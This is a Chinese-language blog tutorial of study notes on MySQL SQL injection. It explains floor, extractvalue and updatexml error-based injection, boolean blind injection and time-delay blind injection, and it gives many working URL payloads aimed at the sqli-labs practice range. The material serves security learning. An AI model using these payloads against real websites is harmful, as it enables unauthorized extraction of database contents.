sql盲注
报错注入:适用于数据库报错会将报错信息带到页面
数据库名为test
①、floor报错注入
floor():向下取整,比如0.6返回0,1.1返回1
Rand():返回0到1的随机数
floor( RAND()*2):返回0或1
select count(*),CONCAT(database(),floor( RAND()*2))a FROM student GROUP BY a
需要count,floor( RAND()*2),和group by结合才会报错,用concat将数据带出
报错如下:Duplicate entry 'test0' for key '<group_key>'
报错原理:group by在向临时表插入数据时,由于rand()多次计算导致插入临时表时主键重复,从而报错,
又因为报错前concat()中的SQL语句或函数被执行,所以该语句报错且被抛出的主键是SQL语句执行后的结果。
限制:在mysql数据库高版本中floor报错不会将敏感信息带出
参考链接:https://blog.csdn.net/m0_60339103/article/details/125890455
②、extractvalue报错注入
extractvalue(目标xml文档,xml路径) :对XML文档进行查询的函数
select*FROM student WHERE id=1 AND extractvalue("anything",concat("~",database()))
报错如下:XPATH syntax error: '~test'
原理:通过在函数中写入不符合语法格式的xml路径达到报错的目的(比如写入~)
③、updatexml报错注入
UpdateXML(xml_target, xpath_expr, new_xml):更新选定XML片段的内容
xml - taeget:是我们需要操作的xml片段;
xpath -expr:和上面的一样,是需要更新的路径;
xml -xml:是更新后的的xml字段;
select*FROM student WHERE id=1 AND updatexml("anything",concat("~",database()),"anything")
报错如下:XPATH syntax error: '~test'
原理:通过在函数中写入不符合语法格式的xml路径达到报错的目的
布尔注入(适用于数据库能查询到数据和查询不到数据页面返回不同,但是数据不会显示在页面)
步骤:猜敏感数据长度,通过substr,regexp逐个逐个字符猜测,如果有多条记录,可以通过limit逐次返回一条记录
靶场:sql-lab第八关
left(str,len):从左往右截取指定长度的字符串,str为接收的字符串,len为截取的长度
示例:left('Hello World',3)结果为'Hel'
substr(str,pos,len):从起始位置截取指定长度的字符串,str为接收的字符串,pos为起始位置,len为长度。
示例:substr('Hello World',2, 3)结果为'ell'
regexp正则表达式
like模糊匹配
STRCMP(Str1,Str2)
如果
Str1=Str2:0
Str1<Str2:-1
Str1>Str2:1
ascii(str):
返回字符串中第一位的ascii值,str为接收的字符串。
示例:ascii('hello')结果为104,因为h的ascii值为104。
length(str)
ord(str)函数与其类似
?id=1' and length(database())=8 --+ 猜测数据库长度
使用like结合substr逐个判断字符
?id=1' and substr(database(),1,1) like 's' --+
使用等于结合substr来逐个判断字符
?id=1' and ord(substr(database(),1,1))=115 --+猜当前数据库第一个字段是不是's'
使用正则(regexp )结合substr逐个判断字符
?id=1' and substr(database(),1,1) regexp 's' --+
使用strcmp结合substr逐个判断字符
strcmp等于的时候为false,不等于的时候为true
?id=1' and strcmp(ord(substr(database(),1,1)),115) --+
使用使用limit和正则表达式猜测数据库第一张表是否以u开头
?id=1' and 1=(select 1 from information_schema.TABLES where table_schema="security" and table_name regexp "^u" limit 0,1) --+
left的使用
?id=1' and left(database(),8)="security" --+猜测数据库从左往右8截取的字符串是否为security
时间延迟注入(适用于页面不会显示数据,数据库报错也不会将报错信息显示到页面,查询的到数据和查询不到数据页面返回相同,但是可以通过函数将sql查询时间变长,页面响应变慢)
步骤:与布尔盲注类似,同样是猜敏感数据长度,通过substr,regexp逐个逐个字符猜测,如果有多条记录,可以通过limit逐次返回一条记录,但是由于页面没有变化,所以如果猜测结果可以用是否延迟来判断
利用函数:sleep()和benchmark(count,expr)。
BENCHMARK()函数是用来判断某个操作的运行性能,返回值一直是0。
expr是操作语句,count是操作次数。
靶场:sql-lab第九关
?id=1' and if(ord(substr(database(),1,1))=115,sleep(5),1) --+
case when替换if
?id=1' union select 1,2, case when ord(substr(database(),1,1))=115 then sleep(5) else 0 end--+
或
?id=1' and case when ord(substr(database(),1,1))=115 then sleep(5) else 0 end--+
and或or替换if
?id=1' and ord(substr(database(),1,1))=115 and sleep(5) --+
参考链接:https://www.modb.pro/db/104064
本文来自博客园,作者:lzstar-A2,转载请注明原文链接:https://www.cnblogs.com/lzstar/p/15399235.html
作 者:lzstar-A2
出 处:https://www.cnblogs.com/lzstar/
关于作者:一名java转安全的在校大学生
版权声明:本文版权归作者和博客园共有,欢迎转载,但未经作者同意必须保留此段声明,且在文章页面明显位置给出原文链接。
特此声明:所有评论和私信都会在第一时间回复。也欢迎园子的大大们指正错误,共同进步。或者直接私信我
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是作者坚持原创和持续写作的最大动力!
欢迎大家关注安全学习交流群菜鸟联盟(IThonest),如果您觉得文章对您有很大的帮助,您可以考虑赏博主一杯可乐以资鼓励,您的肯定将是我最大的动力。thx.
菜鸟联盟(IThonest),一个可能会有故事的qq群,欢迎大家来这里讨论,共同进步,不断学习才能不断进步。扫下面的二维码或者收藏下面的二维码关注吧(长按下面的二维码图片、并选择识别图中的二维码),个人QQ和微信的二维码也已给出,扫描下面👇的二维码一起来讨论吧!!!